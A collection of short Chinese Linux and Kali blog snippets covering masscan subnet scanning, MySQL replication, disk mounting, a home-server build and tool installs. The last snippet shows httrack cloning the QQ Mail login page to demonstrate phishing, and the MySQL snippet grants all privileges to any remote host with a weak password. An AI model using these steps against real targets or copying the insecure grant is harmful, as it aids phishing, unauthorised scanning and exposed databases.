  18. masscan和nmap一样,都是扫描界的扛把子。两者相比都有其优缺点,masscan号称“世界上最快的人”😘。能够在几分钟扫描整个子网段。但是精准度和nmap相比还是差了那么一点。当然扫描速度也是和硬件想联系!基本实例扫描段内单个端口 masscan 192.168.123.1/24 -p 80 扫描段内多个端口 masscan 192.168.123.1/24 -p 22,80,443 快速扫描 使用如上的的设置可以得到结果,但速度将是比较慢。正如已经讨论的那样,整体上masscan要快一点,所以让我们加快速度。 默认情况下,Masscan扫描速度为每秒100个数据包,这是相当慢的。为了增加这一点,只需提供该-rate选项并指定一个值。 扫描100个常见端口的B类子网,每秒100,000个数据包 masscan 192.168.123.1/16 --top-ports 100 -rate 100000结果保存 masscan 10.11.0.0/16 --top-ports 100 > results.txt除此之外,您还具有以下输出选项: -oX filename:输出到filename的XML。 -oG filename:输出到filename在的grepable格式。 -oJ filename:输出到filename在JSON格式。总结结语 masscan油一个独特的功能是,您可以轻松地暂停和恢复扫描。当您按ctrl+c文件被创建时,调用paused.conf该文件具有扫描的所有设置和进度。您可以继续扫描‐‐resume paused.conf
  19. 什么是智能摘要智能摘要可以帮助网站在搜索结果中展现更丰富,带来更多点击。您需要提供网站的结构化数据,在网站的页面中插入相应协议标签。 这里以博客的为例 <!--必填--> <meta property="og:type" content="blog"/> <meta property="og:image" content="图片地址"/> <meta property="og:release_date" content="发表时间"/> <!--选填--> <meta property="og:title" content=" 博客标题"/> <meta property="og:description" content=" 博客描述" /> <meta property="og:author" content="博客作者"/>在typecho中配置如下 <!--360--> <?php if($this->is('post')||$this->is('page')): ?> <meta property="og:type" content="blog"/> <meta property="og:image" content="<?php echo Content::returnHeaderImgSrc($this,'post',0,true); ?>"/> <meta property="og:release_date" content="<?php $this->date('Y-m-j'); ?>"/> <meta property="og:title" content=" <?php $this->title(); ?>"/> <meta property="og:description" content=<?php $this->description() ?>" /> <meta property="og:author" content="<?php $this->author(); ?>"/> <?php endif; ?> 提交样式在360站长平台中,提交后几天便可以看到效果了!
  20. 查看磁盘分区fdisk -l 详细解读 Disk /dev/sda:298.1 GiB,320072933376 字节,625142448 个扇区磁盘名称sda 总容量为298.1G 设备启动起点末尾扇区大小ID类型/dev/sda1*2048209919920971521G83Linux/dev/sda2 209719296625141759415422464198.1GfW95 扩展 (LBA)/dev/sda3 209920020971929520762009699G8eLinux LVM/dev/sda5 20972134441734143920762009699G7HPFS/NTFS/exFAT/dev/sda6 41734348862514175920779827299.1G7HPFS/NTFS/exFAT已使用和挂载的分区Disk /dev/mapper/cl-root:65.1 GiB,69948407808 字节,136617984 个扇区 Disk /dev/mapper/cl-swap:2 GiB,2197815296 字节,4292608 个扇区 Disk /dev/mapper/cl-home:31.8 GiB,34154217472 字节,66707456 个扇区格式化mkfs.ext4 /dev/sda5 挂载mount /dev/sda5 /www/mydata开机自动挂载vim /etc/fstab按下添加即可 UUID=/分区 挂载目录 文件系统格式 永久性 是否备份 是否自检
  21. 一次去朋友家玩,看见他家垃圾角落里有台废主机。说是要丢掉,对于我来说怎么会舍得。于是我兴高采烈的抱回了家!开始了变废为宝的脱变。先来看看外观 先给洗洗澡吧 由于手头没有专业的清洗工具,自家水龙头走起。 从新组装电脑过程很简单,怎么拆的怎么装就是了。这里就不再描述了! 装玩即后,测试开机但是无法开机! 检测后发现估计主机电源坏了 恰好手里面以前在垃圾站拆过一个主机电源,应该好的! 于是便开始了移花接木! 由于拆下来的电源比较大,这个机箱比较小。就只能凑合这样用了。 安装系统改换电源后,主机成功点亮。接下来就是安装系统了。这次我安装了Centos8 安装准备 U盘一个(32G)UltraISO(百度自行下载)centos8镜像文件 制作U盘启动打开UltraISO 文件——打开 选择你下载的Centos8的镜像文件,格式为iso 启动——写入镜像文件 U盘启动进入BIOS设置U盘为第一启动项或者在boot菜单中选择U盘即可! 开始进入安装 选择第一个Install Centos 8 等待检测 此过程可能要等待会儿 可能会提示以下错误 在选择Install Centos 7后,几分钟后,弹出如下提示: Entering emergency mode.Exit the shell to continue. Type "journalct1" to view system logs. You might want to save "/run/initramfs/rdsosreport.txt/" to a USB stick or /boot after mounting then and attach it to a bug report. dracut:/# 解决方法如下: 分别执行下面命令 cd /dev ls查看你U盘的盘符,如我的的sda4一般后面有个4的就是你的U盘了。 重启reboot 重新进入安装界面,按Tab键 接着再次通过U盘启动电脑,选择第一项安装CentOS7后按TAB键,然后将底下的文字改成,只是修改hd位置即可: 这是因为在安装过程中,没有找到你的U盘导致的。 > vmlinuz initrd=initrd.img inst.stage2=hd:/dev/sdb4 quiethd:/dev/sda4 这里sda4就是你的U盘了 回车后,成功进入安装界面。 设置你的安装位置为本地磁盘 这里在强调一点,因为这个电脑之前是WINDOWS系统,盘符没有格式化,我们可以在安装过程中回收空间即可! 等待安装完成 重启即可! 配置服务器安装中间件 这里我还是建议大家用宝塔面板吧,因为安装相对简单,后期的维护也方便。当然你也可以编译安装 但是前提是配置好源的问题! 如安装apache yum install httpd 因此,我这里安装了宝塔面板。 安装可道云因为磁盘相对来说比较大,再加上我们可以外接磁盘。所以用来当家庭NSA是它最好的任务了。 利用树莓派搭建KodExplorer可道云 KodExplorer可道云,原名芒果云,是基于Web技术的私有云在线文档管理解决方案。Kod,读音通code,意... 因为在同一个局域网内,所以上传和下载速度都很快。 后期在配合内网映射,这样便可以随时随地访问服务器了。
  22. 在mysql中我们可以配置主从复制来备份我们的数据库。以防数据库的丢失。 环境说明主服务器: 阿里云( *.*.*.110)从服务器: 腾讯云( *.*.*.190)系统环境:centos7 mysql5.6在防火墙和安全组中分别开启3306端口配置主服务器登录主数据库,创建db数据库 mysql -u root -p create DATABASE db;然后编辑主数据库的my.ini文件 在[mysqld]节点中增加如下内容: #指定唯一的ID,1至32,必须的 server-id=1 #指定二进制日志存放路径,必须的 log-bin=mysql-log-bin #指定要同步的数据库,必须的 binlog-do-db=db 添加远程登录账号GRANT ALL PRIVILEGES ON *.* TO priess@'%' IDENTIFIED BY '12345678@'; flush privileges;需要注意的是一定要在安全组和防火墙中开启3306端口,否则从服务器可能无法连接。 查看主服务器的状态信息,并且找到File 和 Position 的值记录下来 show master status;记录这两个值,后面要用到。 配置从服务器在从数据库中创建新的数据库db。 然后编辑从数据库的my.ini文件 在[mysqld]节点中增加如下内容: #指定唯一的ID,2至32,必须的,并且不能跟主数据库一样 server-id=2 #指定要同步的数据库,必须的 replicate-do-db=db 设置登录主数据库的账号和密码等信息change master to master_host='主ip',master_user='priess',master_password='12345678@', master_log_file='mysql-bin.000078',master_log_pos=120; start slave;参数说明: host: 主服务器的IP地址 master_user: 上面配置的用于复制的账号 master_password: 账号密码 master_log_file: 填写show master status命令得到的值 master_log_pos: 同上 检测在从数据库中执行 show slave status \G;如果出现: Slave_IO_Running: YesSlave_SQL_Running: Yes以上两项都为Yes,那说明没问题了 验证我么在主服务器数据库db中,创建表并插入数据! mysql> INSERT INTO bbskali -> (title, author, date) -> VALUES -> ( "kali论坛", "大表哥牛逼", NOW()); 而此时,在从服务器中已同步更新! 填个坑Slave_IO_Running 问题 一般是账号和File 和 Position的值发生了变动。 YesSlave_SQL_Running: 问题 检查两个数据库的表结构是否一致
  23. WPS是我们常用的一款办公工具,主要用来处理日常工作中的word excle PPT等文档。在kali中如何安装wps呢?下载wps访问wps的官网 https://linux.wps.cn/ 下载deb包 安装执行dpkg -i xxx.deb即可完成安装 双击桌面的wps图标,会有用户协议。同意即可! 运行双击wps图标,开始你的创作吧!
  24. 如何在kali linux中测试网速呢?本文将通过使用SpeedTest来实现kali下的网速测试。 SpeedTest是我们常用来测试网络上传/下载速率的一款工具。本文将详细讲解在kali下的使用。 当然,我们也可以用在线的SpeedTest 安装脚本wget -N --no-check-certificate https://raw.github.com/sivel/speedtest-cli/master/speedtest.py 简单的测试python speedtest.py 分享你的网速python speedtest.py --share此时会生成相应的报告
  25. 利用httrack我们可以很方便的将自己喜欢的网站进行镜像复制。在通过本地的优化和修改,达到为己所用的目的。但是也有人借此来搞钓鱼网站,达到以假乱真的目的。今天通过本实例给大家演示钓鱼网站是如何运行的。 安装apt-get install httrackPS:建议使用官方源 克隆QQ邮箱登录页面 实例在终端运行httrack Enter project name 项目名称 (随意填写) Base path (return=/root/websites/) 项目存放路径 (建议放到root目录下) Enter URLs (separated by commas or blank spaces) 要克隆的网站url 剩余的默认回车就行了。 这样便完成了对目标站点的克隆